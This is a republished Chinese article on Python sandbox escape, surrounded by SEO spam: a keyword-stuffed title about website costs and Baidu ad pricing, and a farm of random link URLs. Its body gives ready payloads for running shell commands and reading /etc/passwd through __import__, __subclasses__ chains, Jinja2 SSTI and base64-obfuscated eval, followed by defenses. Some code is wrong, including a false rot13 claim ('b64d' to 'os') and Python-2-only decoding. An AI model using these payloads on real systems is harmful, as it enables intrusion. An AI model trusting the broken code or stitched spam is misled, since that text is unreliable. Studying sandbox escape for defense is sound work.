当前位置: 首页 > wzjs >正文

网站开发所需经费百度竞价最低点击一次多少钱

网站开发所需经费,百度竞价最低点击一次多少钱,网站最上面标题怎么改,个人公众号沙箱逃逸(Python沙盒逃逸深度解析) 一、沙盒逃逸的核心目标 执行系统命令 通过调用os.system、subprocess.Popen等函数执行Shell命令,例如读取文件或反弹Shell。 文件操作 读取敏感文件(如/etc/passwd)、写入后门文件…

沙箱逃逸(Python沙盒逃逸深度解析)

一、沙盒逃逸的核心目标

执行系统命令
通过调用os.system、subprocess.Popen等函数执行Shell命令,例如读取文件或反弹Shell。
文件操作
读取敏感文件(如/etc/passwd)、写入后门文件。
环境信息泄露
获取沙盒配置、环境变量或密钥(如__builtins__中的敏感模块)。

二、常见攻击链与利用方法

探测沙盒漏洞

基础测试:注入{{7*7}}或__import__(‘os’).system(‘id’)验证模板引擎动态执行能力。
检查内置对象:通过dir()或__builtins__查看可用模块。
访问危险函数
直接调用模块:若未禁用os,直接执行命令:

__import__('os').system('cat /flag')

间接导入:通过字符串编码绕过关键字过滤:

__import__('b64d'.decode('rot13')).system('id')  # 'b64d''os'

类继承链利用

遍历子类:从基础类(如object)通过__subclasses__()找到危险类:

''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].system('id')

其中X为os._wrap_close或subprocess.Popen的类索引。
利用文件对象:通过types.FileType或open读取文件:

types.FileType('/etc/passwd').read()

绕过过滤的技巧

属性链分割:使用getattr|attr()绕过点号过滤:

request|attr('application')|attr('__globals__')['os'].system('id')

编码混淆:Base64、ROT13编码命令字符串:

eval('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkJyk='.decode('base64'))

利用内联函数:通过timeit、platform等非敏感模块间接调用命令:

timeit.timeit("__import__('os').system('id')", number=1)

三、典型沙盒环境与绕过案例

Jinja2模板引擎SSTI

漏洞场景:直接渲染未过滤的用户输入,如render_template_string(user_input)
利用链:通过{{config}}泄露密钥,或通过类继承链调用os模块。
RestrictedPython沙盒

限制机制:禁用__import__、open等函数。
绕过方法:利用__builtins__.__dict__或_getattr_动态获取危险函数。
CTF题目实战

常见考点:通过__subclasses__找到warnings.catch_warnings类,其__init__的全局变量包含sys模块。
文件读取绕过:使用

().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

四、防御措施与最佳实践

禁用高危函数
在沙盒配置中移除eval、exec、os、subprocess等模块,例如:

__builtins__.__dict__.clear() # 清除内置函数
限制模块导入

白名单机制:仅允许预定义的模块和函数。
沙盒环境:使用RestrictedPython或PyPy沙盒,限制全局状态访问。
输入过滤与静态模板

正则过滤:拦截{{、__class__、__import__等敏感符号。
静态渲染:优先使用render_template而非动态拼接模板。
监控与加固

日志审计:记录异常代码执行行为。
容器隔离:将沙盒运行在Docker等隔离环境中,限制资源访问。

五、历史漏洞与扩展

CVE-2017-5524:Plone CMS因未过滤Python字符串格式化方法导致沙盒绕过,攻击者可泄露敏感数据。
Temporal沙盒绕过:通过sandbox_unrestricted()上下文管理器或禁用@workflow.defn(sandboxed=False)完全绕过防护。


文章转载自:

http://CgV7NsqB.ckdyh.cn
http://KmRQhjJ8.ckdyh.cn
http://5KXBpCg6.ckdyh.cn
http://PfFJe37d.ckdyh.cn
http://StFjYGyI.ckdyh.cn
http://BXr3vyRB.ckdyh.cn
http://hzPZrj0I.ckdyh.cn
http://h9BsBrce.ckdyh.cn
http://eu0pVYYb.ckdyh.cn
http://63u8bH10.ckdyh.cn
http://wZpftRaJ.ckdyh.cn
http://RshhuLMW.ckdyh.cn
http://1ABVcQ4o.ckdyh.cn
http://CnWfzKak.ckdyh.cn
http://VBkemX1B.ckdyh.cn
http://pkgxXtUq.ckdyh.cn
http://3hf4zzFp.ckdyh.cn
http://3KDYU4cm.ckdyh.cn
http://MaPPzfn0.ckdyh.cn
http://oRQdHRS9.ckdyh.cn
http://7DvpChCX.ckdyh.cn
http://Ung6c4f4.ckdyh.cn
http://Z9D8m3PH.ckdyh.cn
http://T4kQXekD.ckdyh.cn
http://RSE1Wlra.ckdyh.cn
http://IglXIoN4.ckdyh.cn
http://vInEvQRs.ckdyh.cn
http://TOn0ftpm.ckdyh.cn
http://okyz7ch2.ckdyh.cn
http://5dcH05mC.ckdyh.cn
http://www.dtcms.com/wzjs/686304.html

相关文章:

  • 网站发外链的好处网站建设费用上海
  • 做网站找 汇搜网络品牌设计培训
  • 建站平台 iis自己做的产品在哪个网站上可从卖
  • 保健品企业网站做网站天津
  • 给银行做网站wordpress站标签打开空白
  • 广州网站优化运营wordpress mip站
  • 商城微信网站开发福州外文网站建设
  • 公司网站建设南宁吴忠网站建设哪家好
  • 做网站的价位小兽wordpress官网
  • 长沙找人做企业网站文案台州市椒江建设工程机械厂网站
  • 网站建设市场分析报告企业门户网站模板html
  • 阜阳手机端网站建设旅游社网站建设规划书
  • 网站建设的语言与工具江苏平台网站建设价位
  • 免费网站百度收录位置图片在线制作
  • 网站开发 定制 合同 模板苏州seo排名优化费用
  • 做网站的背景像素google adsense wordpress 插件
  • 郑州公司建网站域名如何做网站
  • 网站建设宽度一般都是多少庆阳网站设计公司
  • 石家庄网站建设推广公司网页qq登陆保护功能怎么关闭
  • 网站描本链接怎么做怎样做商城网站的推广
  • c语言也能干大事网站开发seo销售话术开场白
  • 长春网站建设营销q479185700刷屏天津滨海新区落户政策
  • 石家庄外贸公司网站设计公司安全优化大师下载
  • 黑龙江省建设厅网站首页做网站运作国珍
  • 从化免费网站建设个人公众号怎么运营
  • 网站宣传标语系统开发背景
  • 做网站用属于前端学校网站建设关键技术
  • 用wordpress建网站wordpress 手机app
  • 小型网站建设公司价格低设计图片素材网站有哪些
  • 手机壳定制网站制作商河 网站建设